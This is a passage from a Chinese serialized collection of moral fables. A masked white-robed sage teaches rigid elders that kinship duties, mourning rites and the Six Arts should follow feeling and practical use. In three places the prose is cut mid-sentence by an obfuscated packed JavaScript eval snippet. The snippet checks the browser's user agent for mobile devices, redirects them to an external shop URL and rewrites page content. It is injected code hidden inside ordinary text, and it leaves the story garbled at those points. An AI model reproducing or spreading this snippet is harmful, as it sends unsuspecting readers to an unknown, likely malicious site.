“雍州新事,可供参考。但各地风俗不同,家情有异,当因地制宜。” 听者、传册者,回去后亦在本地宣讲。有那开明的族长、乡老、家长,亦加入其中。一时间,“序无常法,理无定规,人伦看情理,十义看事理”之理,传遍州县。 有那固执的老族长,初闻此理,斥为“悖逆人伦”。但见百姓践行,父子更亲,夫妇更和,兄弟更睦,也渐改观念。有那曾因固守旧规家宅不宁的,闻此理如获至宝。 伦真和之的名声,渐渐在州县传开。都说有位戴蒲叶斗笠、蒙棉纱的高人,深明九族十义,点破迷障,使人明“序无常法,理无定规”之理,知“人伦看情理,十义看事理”之道。 四、 三年后的望日 三年后的一个望日,九族祠前又聚满了人。不仅有雍州城的百姓,还有周边乡镇的乡民。 曾守伦正在讲解“高曾祖,父而身。身而子,子而孙。自子孙,至玄曾。乃九族,人之伦。父子恩,夫妇从。兄则友,弟则恭。长幼序,友与朋。君则敬,臣则忠。此十义,人所同。当顺叙,勿违背。” “……故曰:九族是人伦,亲所系;十义是人理,情所归。高可是高,曾可是曾,祖可是祖,父可是父,身可是身,子可是子,孙可是孙,玄可是玄,曾可是曾。父子可有恩,夫妇可有从,兄可有友,弟可有恭,长幼可有序,友朋可有信,君可有敬,臣可有忠。本无常序,本无定规。人伦之道,在顺人情,不在守旧规。因情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又问:“然九族十义之用,易入两歧:一曰泥古,二曰妄为。泥古者,固守旧规,强定序位铁律;妄为者,不循情理,胡乱施为。此又当如何?” 众人肃然。曾守伦道:“先生所言极是!九族十义之用,贵在得宜。泥古则呆,妄为则乱。顺人情,因情而定序;合事理,因事而宜理。方是正道。” “正是。”伦真和之道,“九族如九星,有常位,亦有变位。守常位,可知亲疏尊卑;通变位,可成万千人伦。若死守常位,不知变通,是呆;若无视常位,胡乱施为,是乱。顺人情,合事理,得宜适中,方是善伦。” 他转向众人:“列位当谨记:处高曾祖,当知高曾祖是尊长,尊在德,不在年。有德则敬,无德则礼,顺情顺理为美。处父辈,当知父辈是严亲,严在教,不在威。有教则从,无教则谏,顺情顺理为美。处己身,当知己身是本位,位在责,不在权。有责则担,无能则让,顺情顺理为美。处子辈,当知子辈是晚辈,序在能,不在年。有能则用,无才则教,顺情顺理为美。处孙辈,当知孙辈是幼辈,伦在智,不在幼。有智则从,愚钝则养,顺情顺理为美。处玄曾,当知玄曾是远亲,序在情,不在疏。有情则亲,无情则礼,顺情顺理为美。父子恩,恩可是严,可是慈,可是教,可是养,因事而宜,顺情顺理为美。夫妇从,从可是从夫,可是从妇,可是共议,可是相辅,因事而宜,顺情顺理为美。兄则友,友可是宽让,可是切磋,可是相学,可是相扶,因事而宜,顺情顺理为美。弟则恭,恭可是顺让,可是谏诤,可是相助,可是相成,因事而宜,顺情顺理为美。长幼序,序在德能,不在年齿,因事而宜,顺情顺理为美。友与朋,信在真心,不在虚礼,因事而宜,顺情顺理为美。君则敬,敬在道义,不在权势;臣则忠,忠在公道,不在私从。因事而宜,顺情顺理为美。序只是序,理只是理,顺其人情,合其事理,方是正道。” 众人齐声道:“谨记先生教诲!” 伦真和之从怀中取出一卷书,递给曾守伦:“此乃《九族十义宜行录》,是我游历各地,记录人伦得失、情理宜忌之鉴所编。你可传抄于众,供百姓参考。” 曾守伦双手接过,如获至宝。 伦真和之又对众人道:“此书可参阅,但需切记:九族十义之道,在行在践。说千伦不如行一伦,道万义不如践一义。高曾祖父身子孙玄曾,父子夫妇兄弟长幼友朋君臣,皆在眼前。亲其亲,义其义,顺人情,合事理,方是真知。” 说罢,他戴上斗笠,转身走入人群。蒲叶斗笠在日光下泛着青翠,粗麻白衣的下摆扫过九族祠前的石板地,不染一丝尘埃。 曾守伦对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声·九族谣 多年后,雍州城的孩童玩耍时,会唱一首童谣: 高曾祖父身子孙,九族人伦本有情。 父子夫妇兄弟义,十义公道在人心。 曾师强分序与规,人伦情理皆成枷。 伦真先生来点化,人伦本真顺人情。 从此亲亲看德能,义义随事合情理。 父可从子子可谏,夫可从妇妇可议。 兄弟相学长幼序,友朋真心君臣义。 有外乡人听了,问城里老人:“这伦真先生是何人?” 老人便会指着九族祠说:“是位教人明九族十义、知顺情合理的先生。他来了,曾族长知错了,百姓醒悟了,咱们城知道序无常法、理无定规了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又固守旧规、强遵铁律的时候,他大概就会回来吧。” 外乡人若有所思,走到九族祠前。祠前悬着《雍州九族十义新事》,木牌上刻着那二十四字:“高曾祖,父而身。身而子,子而孙。自子孙,至玄曾。乃九族,人之伦。父子恩,夫妇从。兄则友,弟则恭。长幼序,友与朋。君则敬,臣则忠。此十义,人所同。当顺叙,勿违背。”下面还有一行小字:“然序无常法,理无定规。人伦当因情而定序,十义当因事而宜理。顺其人情,合其事理,方是人伦之道。” 也许那位伦真先生,正在某个地方,看人行九族、践十义吧。他想。 他走出九族祠,暮色四合。祠里传出笑语,父子谈心,夫妇共话,兄弟切磋,长幼有序,友朋交心,君臣论道。九族十义之道,看似高深,实则就在这亲亲义义、顺情合理之中。 本章诫世 一、 九族十义真义训 - 高曾祖,父而身。身而子,子而孙。自子孙,至玄曾。乃九族,人之伦。父子恩,夫妇从。兄则友,弟则恭。长幼序,友与朋。君则敬,臣则忠。此十义,人所同。当顺叙,勿违背 - 破解法:为族长者,自问“可固守旧规?可知序无常法、理无定规?可曾因情而定序、因事而宜理?”;为家人者,自问“可强遵铁律?可知人伦本真?可曾顺人情、合事理?” 二、 三谬三正 - 曾守伦之谬在“泥古”——以旧规为铁则,固守九族序位,强定十义规条 - 世俗之谬在“拘方”——以九族有常序,以十义有定规,拘束人伦情理 - 百姓之谬在“盲从”——不知人伦本真,盲目遵从,亲不亲,义不义 - 三正:曾守伦倡九族十义新道,百姓明人伦本真,雍州行宜理之道 三、 和之大道 - 深层隐喻:高曾祖父身子孙玄曾,九族是人伦,亲所系;父子夫妇兄弟长幼友朋君臣,十义是人理,情所归。序只是序,理只是理,本无常法,本无定规。人伦之道,在顺人情,不在守旧规;因情而定,因势而变,顺其自然,方是正理。十义之要,在合事理,不在遵铁律;因事而宜,因理而发,合其人情,方是真要。强定序位,是以虚妄缚实相;强遵规条,是以铁律困人情;强分伦义,是以成法碍情理 - 终极指向:世人人伦情理,易入两歧:一曰泥古,二曰妄为。泥古则呆,妄为则乱。九族是人伦,十义是人理,本无常法定规。人伦当因情而定序,不拘旧规;十义当因事而宜理,不拘铁律。顺其人情,合其事理,得宜适中,方是人伦真道。亲在行,不在说;义在践,不在守;和在宜,不在固 九族十义偈: 雍州九族曾守伦,强分序位与规条。 人伦情理皆成枷,百姓行之不知义。 伦真先生来点化,人伦本真顺人情。 从此亲亲看德能,义义随事合情理。 后世叹: 高曾祖父身子孙,九族人伦亲所系。 父子夫妇兄弟义,十义人理情所归。 曾师泥古分序规,人伦情理皆成法。 伦真先生来点化,人伦宜用顺人情。 三载和睦新气象,雍州百姓人伦真。 正是: 雍州祠前说人伦,曾师泥古分序规。 九族铁索束亲情,十义枷锁困义理。 伦真先生来点破,人伦本真顺人情。 从此亲亲看德能,义义随事得和睦。 109.五服谳 楔子·寒食断麻 清明前七日,是青州城寒食节。城中禁火三日,百姓皆食冷餐。城南“思源桥”畔,有一片老柳林,每逢寒食,便有城中长者在此讲古,追思先人。 这日薄暮时分,柳林里已聚了数十人。当中一块青石上,坐着位须发皆白的“守礼先生”,姓陈,是城中“五服会”的会首。他身着素麻深衣,手拄一根老藤杖,正对着众人讲“五服之礼”: “……今日寒食,正是追思之时。咱们汉家最重人伦,人伦之中,丧礼最重。这丧礼有‘五服’之制:斩衰、齐衰、大功、小功、缌麻。斩衰三年,是子为父、妻为夫之服;齐衰一年,是为母、为祖之服;大功九月,是为堂兄弟、出嫁姊妹之服;小功五月,是为从祖、外祖之服;缌麻三月,是为族兄弟、外姻之服。此为五服,自斩衰至缌麻,由重至轻,由亲至疏,乃人伦之纲纪,不可紊乱!” 围坐的多是些市井百姓,有贩夫走卒,有织妇老妪,皆屏息静听。卖炊饼的王三低声道:“陈先生说得是。去岁我父去世,我便服了斩衰,麻衣不缝边,草绳系腰,食粥枕土,整整三年不敢懈怠。” 邻旁绣花的李寡妇红着眼圈道:“我夫走了五年,我还穿着素衣,不敢着艳色……” 陈守礼点点头,续道:“这五服之制,不惟是穿衣戴孝。斩衰者,当三年不饮酒、不食肉、不宴乐、不婚娶;齐衰者,当一年不宴乐、不婚娶;大功者,当九月不饮酒、不宴乐;小功者,当五月不宴乐;缌麻者,当三月不宴乐。此为孝道之本,人伦之重!” 他指着西天将沉的落日:“就如这寒食禁火,是为思介子推之忠。咱们服丧守制,是为思先人之恩。若有人不服丧、不守制,便是忘本负义,禽兽不如!” 众人凛然。这时,柳林深处传来一个清朗的声音:“陈先生此言,未免过了。” 众人望去,见柳影深处立着一人。斗笠是细竹与松针混编,檐边垂着几缕风干的艾蒿。白衣是粗麻所制,浆洗得发白,衣摆处有细密的靛青补丁。腰间悬一柄木剑,剑穗是褪色的五色丝绦。面上蒙着本色葛布,只露出一双沉静如深潭的眼睛。 陈守礼眉头微皱:“这位先生,何处过了?” 那人缓步走出柳影,对众人略一拱手:“斩齐衰,大小功。至缌麻,五服终。此话不错。五服是丧礼,是哀思。然陈先生说‘不服丧、不守制,便是忘本负义,禽兽不如’,却是过了。” “过了?”陈守礼不悦,“父母养育之恩,天地同大。父母去世,服丧守制,乃人子本分。若不服丧,岂非忘恩?” “服丧是本分,不错。”那人声音平和,“然丧是哀思,是心念,非是枷锁。斩衰三年,是哀;然若有人哀毁骨立,三年而亡,是孝,还是愚孝?齐衰一年,是思;然若有人思之成疾,一年不起,是义,还是愚义?大功九月,是念;然若有人念之废业,九月无生,是礼,还是愚礼?小功五月,是怀;然若有人怀之伤身,五月病倒,是道,还是愚道?缌麻三月,是忆;然若有人忆之误事,三月荒废,是伦,还是愚伦?” 他环视众人:“列位乡邻,今日寒食,咱们禁火思先人,是哀思。然若禁火三日,老弱冻馁,是思先人,还是害生人?丧礼五服,是念亲恩。然若服丧守制,废业伤身,是报亲恩,还是负亲望?” 陈守礼面色一沉:“你这是妄解丧礼!《礼记》有云:‘三年之丧,天下之通丧也。’” “《礼记》所云三年之丧,是言哀思之重,非是言枷锁之固。”那人道,“我闻古时子夏丧子,哭之失明,孔子叹曰:‘过矣!’子路丧姊,期而不除,孔子责曰:‘过矣!’哀思在心,不在形;孝义在行,不在表。若以服丧为枷锁,以守制为铁律,是以虚礼缚真情,非是圣贤本意。” 他走到青石旁,对众人道:“今日寒食,我给大家讲几个故事。” 一、 斩衰的故事 “先说斩衰。”那人寻了块石头坐下,众人不觉围拢过来。 “从前东郡有户农家,父子相依为命。父病重,子侍汤药,衣不解带。父临终握子手曰:‘我儿,我死后,你当自惜。咱家三亩薄田,需你耕种;你年幼弟妹,需你抚养。莫要因我之死,荒废家业。’子泣而应之。 父死,子服斩衰,麻衣草绳。然春耕在即,子若三年不耕,田将荒芜,弟妹将饿。子思父言,清晨哭父,日出下田;暮归哭父,夜教弟妹。麻衣沾泥,草绳浸汗。邻人讥之:‘服斩衰而耕,不孝!’子不辩。三年,田未荒,弟妹成人。祭父时,子曰:‘父,儿未敢废业,未敢负弟妹。’是夜梦父抚其背曰:‘吾儿真孝。’” 他顿了顿,道:“斩衰是哀,哀在心。农人之孝,在继父业,养弟妹。若因服丧废耕,致田荒弟饥,才是真不孝。” 卖炊饼的王三听得眼圈泛红,低声道:“是了……我爹去时,也说‘莫荒了饼铺’……” 二、 齐衰的故事 “再说齐衰。”那人续道。 “南河有对母子,母织布,子读书。母病故,子服齐衰。时值秋闱在即,子若守制一年,便误考期。母临终曾曰:‘儿当立志,光我门楣。’子思之,清晨哭母,白日苦读;暮祭母灵,夜诵诗书。麻衣染墨,草履磨穿。族人责之:‘服齐衰而读,不孝!’子不辩。一年后,子中举,归祭母墓,告曰:‘母,儿未敢忘志。’是夜梦母含笑曰:‘吾儿有成。’” 他看向众人:“齐衰是思,思在行。士子之孝,在继母志,成母望。若因守制废读,致志业不成,才是真不孝。” 人群中一青衫书生低头拭泪。 三、 大功的故事 “三说大功。”那人声音转缓。 “西山有对堂兄弟,兄为猎户,弟为樵夫。兄猎虎身亡,弟服大功。兄遗孀弱子,无以为生。弟若九月不樵,嫂侄将饥。弟思兄情,清晨哭兄,上山砍柴;暮归供嫂,夜教侄儿。麻衣挂棘,草绳担薪。乡人议之:‘服大功而樵,不义!’弟不辩。九月,嫂侄得养。祭兄时,弟曰:‘兄,弟未敢负嫂侄。’是夜梦兄拍其肩曰:‘真吾弟也。’” “大功是念,念在情。兄弟之义,在养遗孀,抚孤侄。若因服丧废樵,致嫂侄饥寒,才是真不义。” 人群中几个汉子点头叹息。 四、 小功的故事 “四说小功。”那人又道。 “北郭有对表亲,表兄行商,表弟务农。表兄溺水而亡,表弟服小功。表兄商货在途,若五月不至,将赔本倾家。表弟思表兄平日待己厚,清晨哭表兄,代其行商;暮归理农事,夜算账目。麻衣沾尘,草履走破。亲戚讥之:‘服小功而商,不亲!’弟不辩。五月,商货得售,表兄家业得保。祭表兄时,弟曰:‘兄,弟未敢负托。’是夜梦表兄拱手谢之。” “小功是怀,怀在义。亲戚之亲,在继其业,全其家。若因服丧废商,致家业败落,才是真不亲。” 几个商贩模样的听者,相视颔首。 五、 缌麻的故事 “最后说缌麻。”那人声音渐低。 “东街有对族兄弟,族兄为更夫,族弟为更卒。族兄病故,族弟服缌麻。城中夜巡,若三月缺人,盗贼将起。族弟思族兄生前尽责,清晨哭族兄,夜则顶替巡更;白日助族兄家料理后事。麻衣沾露,草绳系刀。邻人笑之:‘服缌麻而更,不伦!’弟不辩。三月,城中安宁。祭族兄时,弟曰:‘兄,弟未敢废职。’是夜梦族兄点头称善。” “缌麻是忆,忆在责。族人之伦,在继其职,安其里。若因服丧废更,致盗贼横行,才是真不伦。” 更夫老赵在人群中,默默点头。 六、 寒食的余音 五个故事讲完,柳林里寂静无声。暮色已深,寒星初现。 那人站起身,对陈守礼道:“陈先生,五服是礼,礼之本在情。斩衰是父子之情,齐衰是母子之情,大功是兄弟之情,小功是亲戚之情,缌麻是族人之情。情在心,不在衣;在行,不在制。若因服丧而废业伤身,致家业荒、志业废、遗孀饥、商货赔、盗贼起,这才是真忘本负义。寒食禁火思先人,是情;然若禁火致老弱冻馁,这思,先人在天之灵,可会心安?” 陈守礼面色变幻,良久,长叹一声:“先生……先生说得是。老朽拘泥礼制,以虚礼缚真情,误人误己。这五服之礼,当以情为本,以行是孝,不该是枷锁铁律。” 他转向众人,声音发颤:“从今往后,五服会当重情义,轻虚礼。服丧在心,守制在行。莫要因服丧废业,莫要因守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而那位礼情之先生,早已走向下一个需要点化的地方。他走过之处,虚礼渐消,真情渐显。就如这寒食的风,吹过柳林,吹过思源桥,吹进千家万户,将那些过于沉重的枷锁,轻轻吹散在岁月里。 本章诫世 一、 五服真义训 - 斩齐衰,大小功。至缌麻,五服终 - 破解法:服丧者,自问“哀思在心,还是在形?孝义在行,还是在表?可因服丧废业伤生?可因守制负先人望?” 二、 五误五正 - 斩衰之误在“愚孝”——三年废耕,田荒弟饥 - 齐衰之误在“愚思”——一年废读,志业不成 - 大功之误在“愚义”——九月废樵,遗孀孤侄无依 - 小功之误在“愚亲”——五月废商,家业败落 - 缌麻之误在“愚伦”——三月废更,盗贼横行 - 五正:哀思在心,孝义在行;服丧不废业,守制不伤生;继先人志,全先人家,安先人里,方是真礼 三、 情之大道 - 深层隐喻:五服是丧礼,是哀思,是人情。斩衰是父子情,齐衰是母子情,大功是兄弟情,小功是亲戚情,缌麻是族人情。情在心,不在衣;在行,不在制。若因服丧废业伤生,致家败业荒,是以虚礼杀真情,以铁律碍人伦。真孝是继志,真义是养遗,真亲是全业,真是安里 - 终极指向:世人重丧礼,易入歧途:重形轻心,重表轻行。五服是礼,礼之本在情。哀思当发乎心,孝义当见于行。服丧不废生计,守制不负人伦,继志全业,养遗安里,方是丧礼真义。莫让虚礼缚真情,莫让铁律伤生人。死者已矣,生者当继 五服偈: 青州寒食说五服,陈师拘礼成枷锁。 斩衰齐衰大小功,缌麻服丧反误生。 礼情先生讲故事,五服本在情与行。 从此哀思不废业,孝义在心更在行。 后世叹: 斩齐衰,大小功,至缌麻,五服终。 陈师重形轻本心,百姓服丧反伤生。 白衣点化情与行,五服哀思不枷锁。 寒食柳林听故事,青州人伦得真情。 正是: 寒食柳林说五服,陈师重礼轻人情。 斩衰齐衰皆枷锁,大小缌麻误民生。 白衣先生讲故事,五服本在哀思诚。 从此服丧不废业,青州寒食有温情。 110.六艺谳 楔子·重阳赛会 重九之日,锦官城中正有“六艺赛会”。这赛会三年一办,设在西郊“流芳园”,城中各坊皆组队参赛。赛会分六门:礼、乐、射、御、书、数。夺魁者可获“六艺魁首”匾额,挂于坊门一年,是为莫大荣耀。 辰时初刻,流芳园中已是人山人海。园中设六座高台,分别比试六艺。正中主台上,坐着本城“六艺会”会长赵秉礼,乃前朝老秀才,须发皆白,面容清癯。他身着一袭洗得发白的青衫,手执一卷《六艺考略》,正在宣讲: “……礼、乐、射、御、书、数,此乃古之六艺,君子所必习。礼者,周旋揖让之节;乐者,钟鼓琴瑟之音;射者,弓矢命中之技;御者,车马驾驭之术;书者,篆隶真草之法;数者,九章算术之妙。此六者,缺一不可。然今人只重书、数,轻礼、乐,废射、御,实乃数典忘祖!” 台下各坊参赛者、围观百姓,皆屏息静听。东市坊的教头刘三刀叹道:“赵先生说得是。咱们坊今年报了礼、乐、书、数四门,射、御两门无人敢报,怕丢人现眼。” 西街坊的账房张秀才接口道:“如今谁还学射御?射要开弓,御要驾车,又脏又累。不如学书、数,将来还能谋个差事。” 赵秉礼摇摇头,提高声音道:“此大谬也!六艺乃成人之本。礼以立身,乐以养性,射以观德,御以明道,书以达意,数以穷理。缺一不可!今人但求书、数之利,弃礼、乐、射、御于不顾,是舍本逐末,逐利忘义!” 他指着场中六座高台:“今日赛会,老夫忝为总裁。礼台,当依《仪礼》之制,缺一步则扣一分;乐台,当依《乐经》之谱,错一音则扣一分;射台,当依《射仪》之法,偏一寸则扣一分;御台,当依《御礼》之规,斜一度则扣一分;书台,当依《书谱》之体,差一笔则扣一分;数台,当依《九章》之数,误一算则扣一分。如此,方为真六艺!” 话音方落,忽听场边梧桐树下传来一个清朗声音:“赵会长此言,未免拘泥了。” 众人望去,见一人倚树而立。斗笠是细篾与竹叶混编,檐边垂着几缕茱萸。白衣是细麻所制,浆洗得发白,肩头有两块靛青补丁。腰间悬一柄木剑,剑穗是褪色的五色丝绦。面上蒙着本色棉纱,只露出一双明澈如秋水的眼睛。 赵秉礼眉头微蹙:“这位先生,何处拘泥?” 那人缓步走到主台前,对众人略一拱手:“礼、乐、射、御、书、数,古六艺,今不具。此话不错。然赵会长说‘当依古制古谱古法古规古体古数,缺一错一偏一斜一差一误则扣分’,却是拘泥了。” “拘泥?”赵秉礼不悦,“六艺乃圣人所定,岂可轻改?” “六艺是艺,艺之用,在成人,在应世。”那人声音平和,“古时礼,是周旋揖让之节,为立身。然今日市井相见,拱手作揖是礼,点头微笑亦是礼,何必必依《仪礼》三步一拜?古时乐,是钟鼓琴瑟之音,为养性。然今日乡野歌谣,笛箫是乐,口哨山歌亦是乐,何必必依《乐经》宫商角徵?古时射,是弓矢命中之技,为观德。然今日狩猎防身,开弓是射,投石掷镖亦是射,何必必依《射仪》五射之法?古时御,是车马驾驭之术,为明道。然今日行路载货,驾车是御,推车拉车亦是御,何必必依《御礼》五御之规?古时书,是篆隶真草之法,为达意。然今日记事通信,楷书是书,行书草书亦是书,何必必依《书谱》永字八法?古时数,是九章算术之妙,为穷理。然今日买卖算账,珠算是数,心算指算亦是数,何必必依《九章》筹算之术?” 他环视众人:“赵会长说缺一不可。然农人耕作,需射、御否?织妇纺纱,需礼、乐否?贩夫走卒,需书、数否?六艺是艺,当因时、因地、因人、因事而用。强求全备,强依古制,是以虚文缚实用,以旧法碍新用。” 赵秉礼面色一沉:“你这是妄解六艺!《周礼》有云:‘养国子以道,乃教之六艺。’” “《周礼》所教六艺,是教国子成人之道,非是教万民必习之法。”那人道,“我闻古时孔子教弟子六艺,亦因材施教。子路好勇,多教射御;子夏好文,多教书数;子游好礼,多教礼乐。同是六艺,因人而异。又闻古时乡校教民,农忙时教农艺,闲时教礼乐。同是六艺,因时而异。艺是为人所用,非人为艺所缚。若以古制为铁则,强求全备,强依旧法,是以虚文废实用,非是圣人本意。” 他走到礼台前,对众人道:“今日重阳,我给大家讲几个故事。” 一、 礼的故事 “先说礼。”那人登上礼台。台上正有两人在比试揖让之礼,一步一拜,僵硬如偶。 “从前东门有对街坊,张家和李家。张家是书香门第,李家是屠户之家。张家见李家,必依《仪礼》三步一拜,口诵‘久仰久仰’。李家还礼不及,常闹笑话。一日,张家子提重物过巷,李家子顺手接过,帮其送到家。张家子欲行大礼,李家子摆手笑道:‘街坊邻居,搭把手的事,行啥礼?’自那以后,张家见李家,只点头微笑。李家亦如此。两家和睦,胜过从前。” 他看向赵秉礼:“礼是立身,是相敬。揖让是礼,微笑是礼,搭把手亦是礼。何必必三步一拜?” 二、 乐的故事 “再说乐。”那人走到乐台。台上乐师正奏《鹿鸣》,一板一眼,却少生气。 “南街有个老乐师,只奏古乐,嫌市井小调粗俗。其子爱吹笛,常与街童合奏乡谣。老乐师斥之:‘俗不可耐!’中秋夜,街坊聚饮,老乐师奏《月令》,众人昏昏。其子吹起《丰收谣》,众人和之,载歌载舞。老乐师初时皱眉,后见众人欢悦,亦不禁击节。翌日,老乐师对子曰:‘乐以和众,古乐是乐,乡谣亦是乐。’自此,父子同台,古调新声皆奏。” 他看向场中乐师:“乐是养性,是和众。钟鼓是乐,笛箫是乐,口哨山歌亦是乐。何必必宫商角徵?” 三、 射的故事 “三说射。”那人行至射台。台上射手正按“五射”之法开弓,动作标准,却中靶不多。 “西郊有猎户父子,父教子射,必依古法:足踏丁字,臂开满月。子学三年,猎物寥寥。一日,子独入山,遇野猪。仓促间不及摆势,随手一箭,正中猪目。归告其父,父初不信,次日同往,子又随手射中飞鸟。父叹曰:‘射以中为要,法在人用。’自此,子射不拘古法,猎物反多。” 他看向台下猎户:“射是观德,是中的。开弓是射,投石是射,掷镖亦是射。何必必五射之法?” 四、 御的故事 “四说御。”那人至御台。台上御手正驾马车,依“五御”之规,车行甚缓。 “北巷有车夫老王,驾车必依古规:鸣和鸾,逐水曲。一日,送急症病人就医,道窄人多。老王欲依规缓行,其徒夺过缰绳,抄小巷,快马加鞭,及时送至。老王责其违‘五御’,其徒曰:‘御以达为要,规在人用。’老王默然。后遇急事,亦不拘规,以达为要。” 他看向场中车夫:“御是明道,是达地。驾车是御,推车是御,拉车亦是御。何必必五御之规?” 五、 书的故事 “五说书。”那人到书台。台上书者正写楷书,笔笔依永字八法,工整却少神韵。 “城中书馆有师徒,师教徒书,必依《书谱》,点如坠石,横如阵云。徒苦学三年,字工而呆。一日,徒替药铺写招幌,药铺掌柜嫌其字呆,自用草书书‘仁心堂’三字,飞动有力。徒观之,悟曰:‘书以达意为要,法在人用。’后习行草,字反有神。” 他看向场中书者:“书是达意,是传情。楷书是书,行书是书,草书亦是书。何必必永字八法?” 六、 数的故事 “最后说数。”那人行至数台。台上算者正用筹算,依《九章》之法,甚慢。 “东市账房老周,算账必用筹算,嫌珠算粗陋。其徒用珠算,快他三倍。老周斥之:‘不合古法!’年终结账,东家催急,老周筹算未半,其徒珠算已毕。东家赞徒,老周愧。后学珠算,叹曰:‘数以算清为要,法在人用。’” 他看向赵秉礼:“赵会长,数是穷理,是算清。筹算是数,珠算是数,心算指算亦是数。何必必《九章》之术?” 七、 重阳的余响 六个故事讲完,场中鸦雀无声。秋风穿过流芳园,吹得茱萸簌簌作响。 赵秉礼沉默良久,缓缓起身,对那人深揖一礼:“先生……先生说得是。老朽拘泥古制,以虚文缚实用,误人误己。这六艺之道,当以用为本,以人为要。礼在敬,不在仪;乐在和,不在谱;射在中,不在法;御在达,不在规;书在意,不在体;数在清,不在术。” 他转向众人,声音发颤:“从今往后,六艺赛会当重实用,轻虚文。礼,敬人即可,不必三步一拜;乐,和众即可,不必必依古谱;射,中的即可,不必五射之法;御,达地即可,不必五御之规;书,达意即可,不必永字八法;数,算清即可,不必《九章》之术。如此,方是真六艺!” 众人先是一静,随即哗然。刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187099|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三刀喜道:“那咱们坊射、御两门,也能报了!” 张秀才亦道:“书不必工楷,数不必筹算,咱们西街坊有望夺魁!” 各坊教头、账房、猎户、车夫、书者、算者,皆面露喜色。 那人拱手道:“今日重阳,愿列位明艺之用。六艺是艺,艺为人用。莫让虚文碍实用,莫让旧法缚新用。礼乐射御书数,当因时因地因人因事而用,方是成人之道。” 说罢,他戴上斗笠,走下主台。竹叶斗笠在秋阳下泛着金芒,细麻白衣的下摆扫过满地茱萸,不惹尘埃。 赵秉礼对着那背影又一揖,久久不起。 场中众人亦纷纷行礼。 重阳的日光透过梧桐叶,洒在六座高台上。礼台上,两人不再三步一拜,只微笑拱手;乐台上,乐师奏起乡谣,众人和之;射台上,猎户随手开弓,箭箭中靶;御台上,车夫抄近路,车行如飞;书台上,书者挥毫行草,笔走龙蛇;数台上,算者拨弄算珠,噼啪作响。 六艺之道,本在日用。何须古制? 尾声六艺新谣 次年重阳,锦官城流传开一首新谣: 礼乐射御书数艺,古之六艺今不具。 赵师拘泥古制法,赛会比试成虚文。 白衣先生讲故事,六艺本在用与宜。 礼在敬人不在仪,乐在和众不在谱。 射在中的不在法,御在达地不在规。 书在达意不在体,数在算清不在术。 从此锦官知六艺,因时因地因人用。 有人问那白衣先生姓名,流芳园的老人会说:“那位先生姓艺,名用,字宜之。他教咱们,艺是为人用,用宜则成。” 六艺赛会后来变了——礼比敬人,乐比和众,射比中的,御比达地,书比达意,数比算清。各坊皆可参赛,农夫可射,织妇可书,贩夫可数,车夫可御。六艺不再是士子专有,而成了万民可习之艺。 而那位艺宜之先生,早已走向下一个需要点化的地方。他走过之处,虚文渐消,实用渐显。就如这重阳的风,吹过流芳园,吹过锦官城,吹进千家万户,将那些过于僵硬的古制,轻轻吹散在秋光里。 本章诫世 一、 六艺真义训 - 礼乐射,御书数。古六艺,今不具 - 破解法:习艺者,自问“艺为人用,还是人为艺缚?可因时因地因人因事而用?可拘泥古制,碍其实用?” 二、 六误六正 - 礼之误在“虚仪”——三步一拜,反失敬心 - 乐之误在“古谱”——必依宫商,反失和众 - 射之误在“旧法”——必依五射,反失中的 - 御之误在“陈规”——必依五御,反失达地 - 书之误在“呆体”——必依八法,反失达意 - 数之误在“旧术”——必依九章,反失算清 - 六正:礼在敬人,乐在和众,射在中的,御在达地,书在达意,数在算清。因时因地因人因事而用,方是六艺真义 三、 宜之大道 - 深层隐喻:六艺是艺,艺之用,在成人,在应世。礼是立身,是相敬,非是虚仪;乐是养性,是和众,非是古谱;射是观德,是中的,非是旧法;御是明道,是达地,非是陈规;书是达意,是传情,非是呆体;数是穷理,是算清,非是旧术。若强求全备,强依古制,是以虚文缚实用,以旧法碍新用。真艺是为人用,非为人缚 - 终极指向:世人重古艺,易入歧途:重形轻实,重古轻今。六艺是艺,艺之本在用。用当因时因地因人因事而异,方是成人之道。莫让虚文碍实用,莫让旧法缚新用。古艺是基,今用是道,实用为宜 六艺偈: 锦官重阳赛六艺,赵师拘泥古制法。 礼乐射御书与数,虚文旧法碍实用。 艺宜先生讲故事,六艺本在用与宜。 从此礼敬乐和众,射中御达书意数清。 后世叹: 礼乐射御书数艺,古之六艺今不具。 赵师重古轻今用,赛会比试成虚文。 白衣点化用为宜,六艺在人不拘古。 重阳流芳听故事,锦官艺道得真知。 正是: 重阳流芳赛六艺,赵师拘古轻实用。 礼乐射御皆虚文,书数旧法碍事功。 白衣先生讲故事,六艺本在宜与用。 从此赛会重实效,锦官六艺入民生。 111.书学谳 楔子·上巳书会 三月初三上巳节,淮扬城中正有“书学大集”。这大集设在东门“翰墨街”,自辰时起,街上便摆满了书摊,卖的有《说文解字》《尔雅》《玉篇》等字书,也有《千字文》《百家姓》《三字经》等蒙书。街心搭了个高台,台前挂着“识字明理”四个大字,是城中“书学会”会长孟守经的手笔。 孟守经年过花甲,穿一袭洗得发白的蓝布长衫,坐在台上宣讲: 